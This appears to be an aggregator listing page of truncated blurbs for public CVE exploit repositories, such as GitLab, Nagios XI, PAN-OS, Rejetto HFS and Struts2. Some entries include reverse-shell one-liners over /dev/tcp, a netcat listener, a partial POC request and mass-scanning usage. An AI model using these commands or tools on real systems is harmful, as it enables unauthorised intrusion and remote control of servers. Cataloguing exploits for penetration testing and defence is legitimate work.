CVE-2026-18137 IBM Financial Transaction Manager (FTM) is Impacted by Multiple Vulnerabilities

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary ESQL commands due to improper neutralization of special elements used in an ESQL command...

PIL-CVE-2017-8291

Vulnerabilidad de ejecución remota de comandos en Python PIL GhostButt El módulo PIL Pillow para procesar imágenes en Python se ve afectado por la vulnerabilidad GhostButt CVE-2017-8291 porque llama internamente a GhostScript, lo que resulta en una vulnerabilidad de ejecución remota de comandos...

CVE-2021-22205

漏洞影响 GitLab CE/EE 自 11.9 版本起的所有版本中发现了一个问题。GitLab 未正确验证传递给文件解析器的图像文件，导致远程命令执行。 受影响产品 Gitlab CE/EE /tmp/1.txt" 批量扫描 root@kitploit: python3 CVE-2021-2205.py -s true -f target.txt 反弹 Shell root@kitploit: python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/por...

CVE-2024-10914-Exploit

SilverX 漏洞利用工具 📌 描述 SilverX 漏洞利用工具是一款渗透测试脚本，旨在检测和利用 Web 应用程序中的漏洞。它提供了一个类 Shell 的界面，用于在易受攻击的系统上远程执行命令。 ⚠️ 免责声明 此工具仅用于教育和授权的安全测试目的。未经许可对任何系统进行未授权使用是非法且不道德的。请负责任地使用。 🚀 特性 自动漏洞检测 远程命令执行 反向 Shell 支持（Bash、Python、Netcat、PowerShell） 文件上传和下载功能 类 Shell 命令执行 🔧 安装 确保已安装 Python。然后，安装所需的依赖项： root@kitploit: pip...

CVE-2019-20197

Nagios XI远程命令执行漏洞CVE-2019-20197 POC： POST /nagiosxi/includes/components/scheduledreporting/schedulereport.php HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64; rv:49.0 Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/ ;q=0.8...

cve-2020-11651-exp-plus

使用bash执行 --exec 参数，原来的脚本是/bin/sh，所以有些命令不兼容比如bash反弹shell 2. 原来的代码会获取本地salt-master的版本来判断远程主机是否受影响，很明显的逻辑错误。我直接删掉了相关代码。 3. 添加批量扫描功能 python saltstack.py -b targetsfile.txt --threads 16 ,targetfile.txt内容如下 root@kitploit: 127.0.0.1:4506 192.168.1.1:4506 安装依赖 pip install salt...

ipmitest

ipmitest Script de shell para probar la vulnerabilidad de omisión de autenticación de cifrado tipo cero en IPMI CVE-2013-4784 La IPMI es una interfaz estandarizada de sistema informático utilizada por los administradores de sistemas para la gestión fuera de banda de los sistemas informáticos y la...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 Este repositorio contiene una explicación detallada y un PoC funcional para la ejecución remota de comandos en Rejetto HTTP File Server HFS 2.3.x. Configuración: Crea un listener con netcat. root@kitploit: nc -lnvp 1234 Cambia la IP del...

CVE-2024-3400

CVE-2024-3400 漏洞 描述 CVE-2024-3400 是一个影响 PAN-OS 防火墙 10.2、11.0 和 11.1 版本的安全漏洞。当 GlobalProtect 网关配置和设备遥测功能启用时，该漏洞会被利用。攻击者可借此漏洞执行恶意命令，危及系统安全。 技术细节 CVE : CVE-2024-3400 受影响产品 : PAN-OS 防火墙版本 10.2、11.0 和 11.1 影响 : 远程命令执行，系统安全受损。 复现步骤 1. 确保 PAN-OS 防火墙上的 GlobalProtect 网关配置和设备遥测功能已启用。或使用...

CVE-2025-24893-POC

CVE-2025-24893 Instalar bun: root@kitploit: curl -fsSL https://bun.com/install | bash Para instalar dependencias: root@kitploit: bun install Para ejecutar: root@kitploit: bun run CVE-2025-24893.ts Este proyecto fue creado usando bun init en bun v1.2.19. Bun es un runtime de JavaScript rápido y to...

CVE-2009-4623

Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2026-5426

CVE-2026-5426 ⚡ 简单使用 请仅在安全且获得授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 已授权的渗透测试环境 示例设置： root@kitploit: git clone cd 示例用法： root@kitploit: 测试单个目标是否存在漏洞 python cve-2026-5426.py -t https://example.com 从文件扫描多个目标 python cve-2026-5426.py -t targets.txt 在存在漏洞的目标上执行命令 python cve-2026-5426.py -t...

Axis1.4-CVE-2019-0227

Axis1.4 CVE-2019-0227 Remote Command Execution Exploit Tool 📖 Vulnerability Description Apache Axis1.4 contains a remote command execution vulnerability CVE-2019-0227. When the enableRemoteAdmin property is set to true, an attacker can deploy a malicious service through the AdminService interface...

vsftpd-cve-2011-2523-lab

VSFTPD 2.3.4 后门漏洞利用 CVE-2011-2523 一个实践性渗透测试实验，演示在故意存在漏洞的 Metasploitable2 虚拟机中使用 Metasploit 框架识别和利用 VSFTPD 2.3.4 后门漏洞 CVE-2011-2523。 免责声明 本项目完全在受控实验室环境中进行，使用了 Metasploitable2 （一款为网络安全教育设计的故意存在漏洞的虚拟机）。 在此次练习中未针对任何未经授权的系统或网络。 目标 本实验的目标是： 枚举目标机器上运行的服务。 识别存在漏洞的软件版本。 定位公开可用的利用代码。 使用 Metasploit 框架利用漏洞。...

-CVE-2017-9805-

Información de vulnerabilidad Recursos: https://vulners.com/cve/CVE-2017-9805 ¿Qué es esto? Un script de exploit en Python capaz de ejecutar comandos remotos en el shell de un sistema que aloja un Struts2 vulnerable a S2-052. Uso python s2-052.py --target 'http://192.168.0.233/orders/3' --command...

CVE-2014-6287

Rejetto HttpFileServer 2.3.x - 远程命令执行 CVE-2014-6287 🚨 关于该漏洞利用 这是一个针对 Rejetto HttpFileServer HFS v2.3.x 中已知 远程命令执行漏洞 的概念验证漏洞利用程序，漏洞编号为 CVE-2014-6287 。 通过滥用存在漏洞的搜索功能，攻击者可以注入特制载荷，在目标机器上执行任意系统命令。 📌 详情 漏洞利用名称： Rejetto HttpFileServer 2.3.x - 远程命令执行 RevShell CVE： CVE-2014-6287 作者： Z3R0 0x30 受影响版本：...

CVE-2025-54068

CVE-2025-54068 一个设计用于利用 CVE-2025-54068 并在已知 Livewire 项目的 APPKEY 时实现远程命令执行的工具。 此工具是 Synacktiv 原始项目的重新编码版本： Livepyre — https://github.com/synacktiv/Livepyre 核心概念和方法基于原始实现。 此版本包含微小增强和附加功能，以提高可用性和灵活性。 安装 使用 pipx 安装该工具： root@kitploit: pipx install git+https://github.com/haxorstars/CVE-2025-54068 或使用 u...

CVE-2023-30990

CVE-2023-30990 漏洞利用 详见我们的博客文章：https://blog.silentsignal.eu/2025/09/04/Exploit-development-for-IBM-i/ Python 脚本需要 ebcdic 模块：pip install ebcdic DRDA S38CMD 方法 root@kitploit: python3 ddm.py "" DRDA SQL 方法 root@kitploit: python3 ddm-bypass-test.py "" 使用 S38CMD 方法的简单 bindshell root@kitploit: ./exploit...

CVE-2019-15107

CVE-2019-15107 Python 漏洞利用程序 CVE-2019-15107 针对 webmin 致谢 基于 Metasploit 模块 https://www.exploit-db.com/exploits/47230 原始安全公告：https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html...

Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution

The Oracle WebLogic Server component of Oracle Fusion Middleware Web Services versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic...